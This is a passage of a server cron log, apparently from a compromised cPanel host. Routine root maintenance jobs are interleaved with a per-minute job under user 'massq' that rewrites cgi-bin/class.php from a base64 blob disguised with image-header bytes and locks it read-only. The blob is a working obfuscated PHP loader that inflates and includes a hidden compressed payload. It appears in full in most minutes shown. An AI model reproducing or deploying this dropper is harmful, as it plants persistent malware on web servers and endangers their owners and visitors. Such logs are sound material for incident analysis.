base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:36:01 server CROND[26381]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:36:01 server CROND[26382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:36:01 server CROND[26383]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:37:01 server CROND[26824]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:37:01 server CROND[26825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:37:01 server CROND[26826]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:38:01 server CROND[27265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:38:01 server CROND[27266]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:38:01 server CROND[27267]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:39:01 server CROND[27651]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:39:01 server CROND[27652]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 15:39:01 server CROND[27653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:39:01 server CROND[27654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:40:01 server CROND[28048]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 15:40:01 server CROND[28050]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 15:40:01 server CROND[28054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:40:01 server CROND[28055]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 15:40:01 server CROND[28059]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 15:40:01 server CROND[28057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:40:01 server CROND[28053]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 15:40:01 server CROND[28056]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:41:01 server CROND[29043]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:41:01 server CROND[29045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:41:01 server CROND[29044]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:42:01 server CROND[29424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:42:01 server CROND[29426]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 15:42:01 server CROND[29427]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:42:01 server CROND[29425]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:43:01 server CROND[29796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:43:01 server CROND[29798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:43:01 server CROND[29797]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:44:01 server CROND[30167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:44:01 server CROND[30166]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:44:01 server CROND[30168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:45:01 server CROND[30560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:45:01 server CROND[30562]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 15:45:01 server CROND[30563]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 15:45:01 server CROND[30564]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:45:01 server CROND[30567]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 15:45:01 server CROND[30565]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 15:45:01 server CROND[30566]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:46:01 server CROND[31509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:46:01 server CROND[31510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:46:01 server CROND[31511]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:47:01 server CROND[31889]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:47:01 server CROND[31890]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:47:01 server CROND[31891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:48:01 server CROND[32267]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:48:01 server CROND[32268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
